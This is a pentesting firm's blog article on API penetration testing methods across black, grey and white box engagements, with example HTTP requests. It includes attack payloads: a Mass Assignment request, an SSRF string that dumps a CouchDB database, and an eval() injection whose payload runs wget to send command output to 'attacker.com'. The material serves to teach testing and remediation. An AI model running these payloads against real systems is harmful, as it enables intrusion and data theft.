API Penetration Testing: Objective, Methodology, Black Box, Grey Box and White Box Tests

APIs are prime targets for attackers because of their exposure and critical nature, particularly in terms of handling sensitive data. To minimise the risk of security breaches, it is essential to implement robust security measures, understand the types of attack and assess their potential impact.

There are several ways of assessing the security of an API. In this article, we present the “offensive” approach, which we believe to be the most effective: API penetration testing (or API pentesting). We detail the principles and objectives, as well as use cases for black box, grey box and white box pentesting.

Detailed plan:

What is API Penetration Testing?

An API penetration test consists of evaluating the security of an API (of all types: REST, SOAP and GraphQL) by simulating the conditions of a real attack.

The aim is to identify all the vulnerabilities on the server side and in all the API’s functionalities and components, measure their impact and propose corrective measures to strengthen the security of the target system.

Scope of an API Penetration Test

A penetration test is a tailor-made operation. In fact, it is possible to test all the functionalities of your API or to focus on the elements most at risk, depending on the need identified.

During an API penetration test, the pentesters’ objective will be to find the most critical vulnerabilities as listed by OWASP and other security standards.

Thus, the tests cover (non-exhaustive list) :

  • Servers: identification of poorly secured services, out-of-date software, configuration errors, etc.
  • The most common API vulnerabilities: broken access control (files and user roles), problems with authentication management, exposure of sensitive data, Mass Assignment, injections (SQL, SSTI, commands, etc.), etc.

For more information, take a look at our article exploring the most common vulnerabilities and attacks on APIs.

Before presenting use cases of black box, grey box and white box API pentesting, a quick clarification on the testing methodology. Any well-executed penetration test mission always begins with a reconnaissance phase in which the objective is to map the elements of a company that are exposed and accessible on the web. We’ll see later that this phase is vital for successfully performing a pentest on all types of target.

Firstly, let’s take the case of a black box API penetration test. The scope is fairly restricted, with no documentation or access available to the pentesters.

The reconnaissance phase will be all the more important. Here, we’re going to list the domains and sub-domains belonging to the client company, and we’ll see that this stage can be very useful. In addition, we will scan the ports open on the server, but this will generally provide little information about the target API.

After extracting the sub-domains, we quickly analyse the services and in particular the web services present on them. This enables us to detect any leaks of technical information.

A case we often encounter during penetration tests is the identification of a development sub-domain with Symfony’s DEBUG mode activated.

You can quickly see this if a bar used for debugging the application is present at the bottom of the page (as shown in the screenshot below).

This is obviously a security misconfiguration that will leak sensitive information.

For example, you can extract environment variables using phpinfo(), user passwords using the profiler (which is a Symfony route that lists requests made to the server), and source code (because you can retrieve files by knowing their path).

Another valuable element in this black box context is the extraction of API routes.

From the Symfony interface, you can access the API routes from the “Routing” tab.

This means that a pentester can run tests on all the endpoints. As the profiler lists the requests that have already been made, the names of the parameters can be leaked.

Sometimes we have to test a GraphQL API that has specific vulnerabilities that are not found in a REST API.

The particularity of this type of API is that there is only one endpoint, but the request will include the object and the fields of an object to be returned by the server.

A feature called introspection is present for a GraphQL API to make developers’ work easier. This feature is not always deactivated in a production environment, so black box tests will be more exhaustive, as the auditor will have access to all existing queries as well as the names of objects and fields.

Even if this feature is deactivated, technical information can still be leaked using the suggestions made by GraphQL. When a typing error has been made in the query, the server will suggest fields that resemble and exist (as shown below).

POST /graphql HTTP/1.1
Host: localhost:5013
Content-Type: application/json; charset=utf-8
Content-Length: 25

{"query":"query{system}"}
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 202
Date: Thu, 09 Nov 2023 14:49:58 GMT

{"errors":[{"message":"Cannot query field \"system\" on type \"Query\". Did you mean \"pastes\", \"paste\", \"systemDebug\", \"systemUpdate\" or \"systemHealth\"?","locations":[{"line":1,"column":7}]}]}

By sending numerous requests to the API, it is possible to reconstruct part or all of the GraphQL schema.

To prevent this, simply disable GraphQL’s suggestion functionality.

The 2 examples above do not constitute the majority of penetration tests. One technique we can still use is endpoint discovery using dictionaries containing route names common in web applications.

Tools like FeroxBuster make this very easy. When using this type of tool, however, be careful about the number of threads used, as too many can cause server downtime.

Once we have a relevant dictionary, we can run the enumeration. The routes implemented by the API will then respond with a different HTTP code to the one that doesn’t exist.

For example, the /register route can be very useful for an attacker. He still needs to have the names of the parameters to be used in the body of the request, but it is often possible to guess them. You can re-use the principle of the dictionary attack with tools such as ParamMiner (available from BurpSuite). It will be able to create an account and thus obtain an authentication token enabling it to call all the other API routes.

During our missions, we regularly come across publicly accessible swagger.json files. This file lists all the routes of an API and the associated parameters (it can also contain comments on the purpose of each route).

Interfaces such as SwaggerEditor exist for testing endpoints directly from our browser. If we find this element during a black box penetration test, we’ll get closer to grey box conditions.

Grey Box Penetration Testing of an API

The client can provide us with this swagger.json file, which will make testing much easier. As mentioned above, we can use it directly from an editor such as SwaggerEditor on the client’s sub-domain, or local tools such as Insomnia can also help.

This file is not supplied all the time, but test accounts must be supplied if we want to be in grey box. We can therefore query all the API routes and obtain an authorised response. It’s not always easy to know which role has the right to make which request without having access to the GUI (where you can quickly see it from the sections not displayed to a user who doesn’t have the necessary role).

Here is the SwaggerEditor GUI:

We have the list of endpoints, which can be broken down into several sections: the parameters to be used, their type (string, number, etc.), the format of a valid response, etc.

Going directly through a browser will allow us to have all the requests in BurpSuite. We can then use a number of the tool’s functions, such as the Repeater (to replay requests), the Intruder (to enumerate object identifiers, for example), and the Scanner (which will perform automatic tests on the insertion points we provide).

A vulnerability that is regularly found in APIs is Mass Assignment. This is the ability to modify the field of an object without being intended to do so.

Let’s imagine an application that lets you manage your calendar and share it with your colleagues.

The user can change the date of an appointment with the following request:

PATCH /auth/appointment /137/ HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborator
Referer: https://app.target.com/
Content-Length: 68
Origin: https://app.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{"date”: “09/11/2023"}

Response:

HTTP/2 200 OK
Date: Thu, 13 Apr 2023 09:34:26 GMT
Content-Type: application/json
Content-Length: 330
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{“id”:137, “title”: “Project launch“, date”: “09/11/2023”,”}

The only field modified by the user is the appointment date, which is why the query only includes the date. Don’t think that the user can only modify this part of an “appointment” type object. It is possible for the object to be modified by taking into account the entire object present in the request.

If the response includes the object model, an attacker could then add the “id” field to the request:

PATCH /auth/appointment /137/ HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborator
Referer: https://app.target.com/
Content-Length: 68
Origin: https://app.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{“id”:136, "date”: “09/11/2023"}

Response:

HTTP/2 200 OK
Date: Thu, 13 Apr 2023 09:34:26 GMT
Content-Type: application/json
Content-Length: 330
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{“id”:136, “title”: “Customer prospecting“, date”: “09/11/2023”,”}

The response shows that the user may have overwritten the data of another appointment that does not belong to him. The impact could be even greater; he could also delete other appointments in his organisation or, worse still, from another organisation if the database is shared between clients.

In this agenda application, it is possible to attach a document to an appointment in order, for example, to give details of the meeting to all the participants.

The query to retrieve the document is as follows:

GET /auth/document /aef452cf1g15f /?location={SOURCE_REPOSITORY_ENDPOINT}/document/ aef452cf1g15f
 HTTP/2
Host: backend.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Accept: application/json, text/plain, */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/json
Authorization: JWT tokenCollaborator
Referer: https://app.target.com/
Content-Length: 68
Origin: https://app.target.com
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
Te: trailers
{“id”:aef452cf1g15f, "

Response:

HTTP/2 200 OK
Date: Thu, 13 Apr 2023 09:34:26 GMT
Content-Type: application/json
Content-Length: 330
Server: nginx
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Vary: Origin
Access-Control-Allow-Origin: *
{“id”: aef452cf1g15f, “title”: “Annexe1“, content”: “Useful information for the meeting … [TRUNCATED DATA]”}

The “location” parameter may suggest a Path Traversal vulnerability or a Server-Side Request Forgery (SSRF).

During our penetration test, it was while testing a payload corresponding to a Path Traversal that we actually discovered an SSRF. With a location parameter value of:

Location={SOURCE_REPOSITORY_ENDPOINT}/document/ aef452cf1g15f/../..

We got the following response:

{«couchdb":"Welcome","version":"3.1.1"}

This means that the database used is CouchDB (NoSQL) but above all that we can manipulate the queries that the server will make on this database locally.

Looking at the documentation for this database, we can see that it is possible to perform various actions on the database. One of the most critical actions would be to be able to extract all the data stored. This can be done by setting:

Location={SOURCE_REPOSITORY_ENDPOINT}/document/ _all_docs?include_docs=true

It could even create a denial of service if too many documents are sent back by the server.

During a web application penetration test, we discovered a vulnerability linked to the configuration and mismanagement of access controls on a GraphQL API.

By also taking advantage of an IDOR, this critical vulnerability enabled us to break out of the partition and access data belonging to other instances.

For more information, you can consult our dedicated write-up presenting a multi-tenant exploitation of a GraphQL API through an IDOR.

White Box Penetration Testing of an API

The white box is the assignment mode that best guarantees the completeness of the tests. Even if this can be achieved in grey box by having the swagger.json file, the code review provides a better understanding of how the parameters are manipulated and also how the rights management is implemented on each route. In particular, it can help us identify rights problems on APIs containing many different routes.

One example that often comes up during our pentests is the detection of a rights problem and, more specifically, an IDOR on an API. These problems are often detected by performing rights tests with several user accounts with separate data. Once the flaw has been detected, we analyse the source code to understand what protection is missing and where.

In this example, we have an application with a JavaScript framework in the backend.

We detect that the @UseGuards decorator is used with several possible values: “Admin” (checks whether the user has administrator rights), “AdminForOrganisation” (checks whether the admin has rights for a specific organisation), etc.

Once we understand this, one way to proceed might be to go through all the application’s controllers and look at the decorators used on each API route. This can be a tedious job if there are more than fifty API routes.

An alternative to save time and avoid forgetting anything is to use a tool like grep (natively installed on Linux).

You can get a quick overview of the decorators used with the following command:

grep '@UseGuards(Admin)' ./ -n -r -A 1 -B 1

This command will display the line before and after the “@UseGuards(Admin)” occurrence, as well as the line numbers.

50-  @Get('/organizations/:organizationId')
51:  @UseGuards(Admin)
52-  @UseGuards(AdminForOrganization)
--
74-  @Patch('/organization/:organizationId')
75:  @UseGuards(Admin)
76-  @UseGuards(AdminForOrganization)
--
95-  @Get('/organization/:organizationId/api-settings')
96:  @UseGuards(Admin)
97-  @ApiErros('auth.unauthorized')

This shows the API routes and the permissions required to call them. We can see that the last route, /organization/:organizationId/api-settings, is protected by only one rights check and not two like the others. A rights problem has just been detected.

The application does not check whether the administrator is connected to the organisation whose organisationId he specifies. By passing an organisationId of a company to which he does not have access, an ‘administrator’ user will be able to see the api-settings of any company on the platform.

This is an example of a rights problem, but different scenarios can be imagined for gaining access to data that shouldn’t be there; with a good understanding of how rights are managed by developers, the grep tool can be used to cover all possible scenarios.

There is no single solution to rights problems, as they may be linked to an oversight on the part of the developers or a poor implementation of the rights system. The best practice to bear in mind is the principle of least privilege, i.e. by default you should not give any rights to a type of user and you should grant them privileges as and when the application needs them.

Imagine an API linked to an accounting platform that allows users to enter a mathematical formula and the result will be inserted into a table. The calculation will be performed by the server, making this functionality a very sensitive part of the application.

By analysing the source code, it is fairly easy to identify the presence of a command injection. This is one of the most critical vulnerabilities that can exist, almost independently of the context.

Here is the source code responsible for calculating the mathematical formula:

calculate(formula) {
        try {
            return eval(`(function() { return ${ formula } ;}())`);

The “formula” parameter can be controlled by the user and is injected into the eval function, which is a dangerous JavaScript function. This is the simplest possible exploitation of a command injection, as there is no filter on the user input.

All you have to do is write some JavaScript code to the formula parameter to execute code on the server such as the following payload:

require('child_process').exec('wget attacker.com/`whoami`)

The attacker will receive an HTTP request on his server with the content of the whoami command in the URL.

In this situation, the developer should think carefully about cleaning up the user input and, for example, only allow numbers and mathematical operators.

Perform an API Penetration Test with Vaadata, a Company Specialised in Offensive Security

It is important to assess the level of resistance of your APIs to the attacks described in this article.

This assessment can be carried out using one of the audits we offer. Whether black box, grey box or white box, we can identify all the vulnerabilities in your API and help you fix them.

Author: Julien BRACON – Pentester @Vaadata